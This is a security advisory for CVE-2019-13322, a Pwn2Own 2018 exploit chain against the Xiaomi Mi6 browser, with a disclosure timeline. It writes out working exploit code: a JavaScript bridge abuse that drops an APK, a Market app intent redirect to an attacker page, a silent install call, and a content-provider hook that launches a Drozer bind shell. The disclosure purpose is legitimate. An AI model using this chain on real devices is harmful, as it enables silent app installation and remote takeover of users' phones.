Xiaomi Mi6 Browser Remote Code Execution (Pwn2Own 2018)

CVE-2019-13322

    Type

  • Remote Code Execution
  • Severity

  • High
  • Affected products

  • Xiaomi Mi6
  • CVE Reference

  • CVE-2019-13322
Timeline
2018-11-14Issue reported to ZDI at Pwn2Own
2019-01-27ZDI contacted vendor requesting a status update
2019-02-06ZDI contacted vendor again requesting a status update
2019-02-06Vendor replied stating they plan to publish an update by the end of February
2019-02-14ZDI notified the vendor the case would be 0-dayed if a fix was not available by the end of February
2019-03-04 Vendor replied but did not provide ETA
2019-06-03ZDI notified the vendor the intention to 0-day the reports
2019-11-22F-Secure release advisory

Introduction

At Pwn2own in 2018, F-Secure Labs demonstrated compromise of the Xiaomi Mi6 when it connected to a web page under control by an attacker. At a high level, the following steps were followed:

  1. User selects a link from a web page, SMS message, or email which loads attacker’s web site on the Xiaomi browser application
  2. Web page auto downloads an HTML file using a JavaScript bridge
  3. The Market app is then loaded using a browsable intent
  4. The Market app loads a WebView with the URL provided in the intent, loading another of the attacker’s web pages
  5. The web page uses another JavaScript bridge function to install the apk that was downloaded

The app is automatically started by using an intent proxy.

Technical Details

Initial Web Page – download file and trigger Market app

The first step requires the victim to visit our website and must be accomplished by clicking on a link leading to the attacker's page. The initial web page performs two actions.

Firstly, it performs an automatic download of an HTML file. Automatic downloads through the use of anchor elements with the download attribute is not permitted in the Xiaomi browser. Instead, it is possible to use a JavaScript bridge that is included in all web pages, labelled “miui”.

This bridge includes a function named “share” that will store base64 encoded data to disk using a file name based on attributes supplied as arguments to the share function. An apk file can therefore be saved to disk using this method.

@JavascriptInterface public void share(String arg8, String arg9, String arg10, String arg11, String arg12) {
OutputStream v1_1;
FileOutputStream v1;
OutputStream v2;
File v6;
byte[] v5;

int v0 = "base64,".length() + arg11.indexOf("base64,");
try {
v5 = Base64.decode(arg11.substring(v0), 0);
String v0_2 = arg8 != null || arg9 != null ? "share_" + arg8 + arg9 + arg10.hashCode() + ".jpg" : "jsShare.jpg";
v6 = new File(com.android.browser.j.a.a(this.a), v0_2);
v2 = null;

This method can be accessed with the follow JavaScript that includes the apk to be installed as a base64 encoded string:

miui.share("foo","foo","foo","base64," + apkFile);

In this instance, the apk data will be saved to the file “/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg”

After the file has successfully been downloaded, a link is accessed on the web page that redirects to the Market app (com.xiaomi.market). This can be achieved by creating an iframe with the src attribute set to be the browsable URL:

var iFrame = document.createElement("iframe");
var marketRedirUrl = "http://testxiaomi.com/XiaomiPoC/market.html";
iFrame.src = "mimarket://browse?url=" + encodeURIComponent(marketRedirUrl);
document.body.appendChild(iFrame);

This loads the Market app’s JoinActivity activity. This uses the “url” parameter provided as a URL for a WebView. By setting the “url” parameter to an attacker controlled web site, the attacker can therefore load arbitrary HTML into the WebView.

Triggering of the install via the Market app

The WebView in the Market app contains a JavaScript bridge named “market”. This includes a function that silently installs the drozer apk using a file on the local filesystem. The following JavaScript triggers the app install of the file downloaded in the previous step:

function installAPK(){
market.install('{"appInfo":{"id":"test", "packageName":"com.xiaomi.test", "appId":"com.xiaomi.test"}, "callBack":"test", "needArrange":true, "ref":"test", "refPosition":1234, "apkPath":"/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg"}');
}

This calls the “install” method which parses the provided JSON and starts the “AppArrangeService” service, which proceeds to silently install the apk.

Automatic starting of the app

At the end of this process, once the installation is completed, a callback to JavaScript is performed by the app. This attempts to call the JavaScript function named in the “callBack” parameter in the install function call. This can be used to trigger the automatic starting of the installed app.

The test JavaScript function is defined as follows:

function test(){
document.location='intent://dzprovider/1#Intent;scheme=content;end';
}

Content schemes in this format are handled by the Browser app:

 <activity android:name="com.android.browser.BrowserActivity"> 
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.BROWSABLE" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="http" />
<data android:scheme="https" />
<data android:scheme="file" />
<data android:scheme="content" />
<data android:scheme="inline" />
<data android:mimeType="text/html" />

</intent-filter>

 The “dzprovider” is a content provider included in the Drozer app:

<provider
android:name=".views.MyContentProvider"
android:authorities="dzprovider"
android:enabled="true"
android:exported="true">
</provider>

On attempting to load this content URL, the Browser app must determine what the mimetype is. This is achieved by calling the “getType(Uri uri)” method of the relevant content provider. By overwriting this method in the Drozer app, it is possible to gain code execution, which is then used to start the Drozer bind shell:

@Override
public String getType(Uri uri) {
Intent i = new Intent();
i.addCategory("com.mwr.dz.START_EMBEDDED");
i.setComponent(new ComponentName("com.mwr.dz","com.mwr.dz.services.ServerService"));
Context c = getContext();
c.startService(i);
return “foo”;
}